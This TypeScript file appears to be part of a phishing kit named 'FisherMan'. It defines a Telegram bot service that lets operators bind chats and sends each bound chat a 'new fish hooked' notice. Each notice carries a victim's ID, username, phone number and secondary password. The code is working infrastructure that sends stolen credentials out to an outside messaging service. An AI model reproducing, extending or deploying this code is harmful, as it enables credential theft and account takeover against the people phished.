import { Telegraf } from 'telegraf' import { Fish } from '../entities/fish.entity' import { ConfigType } from '../entities/sys-config.entity' import { SysConfig } from '../entities/sys-config.entity' import { Repository } from 'typeorm' import { createApp } from '../app' export class BotService { private static _instance: BotService public static get instance(): BotService { if (!this._instance) { this._instance = new BotService() } return this._instance } private bot: Telegraf private sysConfigRepository: Repository private app: any private constructor() { this.initializeApp() } private async initializeApp() { try { this.app = await createApp() this.sysConfigRepository = this.app.dataSource.getRepository(SysConfig) // 检查 BOT_TOKEN 是否存在 if (!this.app.config.BOT_TOKEN) { console.warn('BOT_TOKEN 未配置,跳过 Telegram Bot 初始化') return } this.bot = new Telegraf(this.app.config.BOT_TOKEN, {}) this.setupCommands() // 添加启动错误处理 this.bot.launch().catch(error => { this.app.log.error('Telegram Bot 启动失败:' + error) this.app.log.error('请检查网络连接和 BOT_TOKEN 是否正确') }) this.app.log.info('Telegram bot started') } catch (error) { this.app.log.error('BotService 初始化失败:' + error) } } private setupCommands(): void { this.bot.start(ctx => ctx.reply('欢迎使用FisherMan!')) this.bot.command('id', ctx => { const chatId = ctx.chat?.id const message = `聊天ID: ${chatId}\n` ctx.reply(message, { parse_mode: 'HTML' }) }) this.bot.command('bind', async ctx => { const chatId = ctx.chat?.id if (!chatId) { return ctx.reply('❌ 无法获取聊天ID') } try { await this.bindChatId(chatId.toString()) const chatTitle = (ctx.chat as any)?.title || ctx.from?.first_name || '未知' ctx.reply(`✅ 成功绑定聊天:${chatTitle} (ID: ${chatId})`) } catch (error) { this.app.log.error(error, 'bind command error') ctx.reply('❌ 绑定失败,请稍后重试') } }) this.bot.command('unbind', async ctx => { const chatId = ctx.chat?.id if (!chatId) { return ctx.reply('❌ 无法获取聊天ID') } try { await this.unbindChatId(chatId.toString()) const chatTitle = (ctx.chat as any)?.title || ctx.from?.first_name || '未知' ctx.reply(`✅ 成功解绑聊天:${chatTitle} (ID: ${chatId})`) } catch (error) { this.app.log.error(error, 'unbind command error') ctx.reply('❌ 解绑失败,请稍后重试') } }) this.bot.command('list', async ctx => { try { const chatIdConfig = await this.sysConfigRepository.findOne({ where: { name: 'chatId' } }) if (!chatIdConfig || !chatIdConfig.value.trim()) { return ctx.reply('📋 当前没有绑定的聊天ID') } const chatIds = chatIdConfig.value .split(',') .map(id => id.trim()) .filter(id => id.length > 0) let message = `📋 已绑定的聊天ID列表\n\n` chatIds.forEach((id, index) => { message += `${index + 1}. ${id}\n` }) message += `\n💡 使用 /unbind 命令可以解绑当前聊天` ctx.reply(message, { parse_mode: 'HTML' }) } catch (error) { this.app.log.error(error, 'list command error') ctx.reply('❌ 获取列表失败,请稍后重试') } }) this.bot.catch((err: any, ctx) => { this.app.log.error(err, 'bot error') ctx.reply('出错了: ' + err.message) }) } onStop() { this.app.log.info('stop bot') try { this.bot.stop() } catch (error) {} } async sendMessage(chatId: number | string, text: string) { if (!this.bot) { this.app.log.warn('Bot 未初始化,无法发送消息') return } try { await this.bot.telegram.sendMessage(chatId, text, { parse_mode: 'HTML' }) } catch (error) { this.app.log.error(`发送消息失败:${error}`) } } async sendFishNotification( chatId: number | string, id: string, username: string, phone: string, password: string, createdAt: Date ) { const text = `🎣 🎉 新鱼上钩!🎉 鱼苗ID: ${id} 用户名: ${username ? username : ''} 手机号: ${phone ? `+${phone}` : ''} 二级密码: ${password || '未设置'} 上鱼时间: ${createdAt.toLocaleString('zh-CN')}` await this.sendMessage(chatId, text) } async sendFishNotificationToAll(id: string, username: string, phone: string, password: string, createdAt: Date) { if (!this.bot) { this.app.log.warn('Bot 未初始化,跳过发送通知') return } if (!this.sysConfigRepository) { this.app.log.warn('SysConfigRepository 未初始化,跳过发送通知') return } try { const chatIdConfig = await this.sysConfigRepository.findOne({ where: { name: 'chatId' } }) if (!chatIdConfig?.value?.trim()) { this.app.log.warn('chatId 配置不存在或为空,跳过发送通知') return } const chatIds = chatIdConfig.value .split(',') .map(id => id.trim()) .filter(id => id.length > 0) if (chatIds.length === 0) { this.app.log.warn('没有有效的 chatId 配置') return } this.app.log.info(`准备向 ${chatIds.length} 个聊天发送通知: ${chatIds.join(', ')}`) for (const chatId of chatIds) { try { await this.sendFishNotification(chatId, id, username, phone, password, createdAt) this.app.log.info(`成功发送通知到 chatId: ${chatId}`) } catch (error) { this.app.log.error(`发送通知到 chatId ${chatId} 失败:`, error) } } } catch (error) { this.app.log.error('sendFishNotificationToAll 失败:', error) } } async bindChatId(chatId: string) { if (!this.sysConfigRepository) { throw new Error('SysConfigRepository 未初始化') } const existingConfig = await this.sysConfigRepository.findOne({ where: { name: 'chatId' } }) if (existingConfig) { const currentChatIds = existingConfig.value .split(',') .map(id => id.trim()) .filter(id => id.length > 0) if (currentChatIds.includes(chatId)) { this.app.log.info(`chatId ${chatId} 已存在,跳过绑定`) return } currentChatIds.push(chatId) existingConfig.value = currentChatIds.join(',') await this.sysConfigRepository.save(existingConfig) this.app.log.info(`成功更新 chatId 配置,添加: ${chatId}`) } else { const newConfig = this.sysConfigRepository.create({ name: 'chatId', value: chatId, remark: 'Telegram 通知接收者聊天ID', type: ConfigType.String }) await this.sysConfigRepository.save(newConfig) this.app.log.info(`成功创建 chatId 配置: ${chatId}`) } } async unbindChatId(chatId: string) { if (!this.sysConfigRepository) { throw new Error('SysConfigRepository 未初始化') } const existingConfig = await this.sysConfigRepository.findOne({ where: { name: 'chatId' } }) if (!existingConfig) { this.app.log.warn('chatId 配置不存在,无法解绑') return } const currentChatIds = existingConfig.value .split(',') .map(id => id.trim()) .filter(id => id.length > 0) const filteredChatIds = currentChatIds.filter(id => id !== chatId) if (filteredChatIds.length === currentChatIds.length) { this.app.log.info(`chatId ${chatId} 不存在,跳过解绑`) return } if (filteredChatIds.length === 0) { await this.sysConfigRepository.remove(existingConfig) this.app.log.info('成功删除 chatId 配置') } else { existingConfig.value = filteredChatIds.join(',') await this.sysConfigRepository.save(existingConfig) this.app.log.info(`成功更新 chatId 配置,移除: ${chatId}`) } } }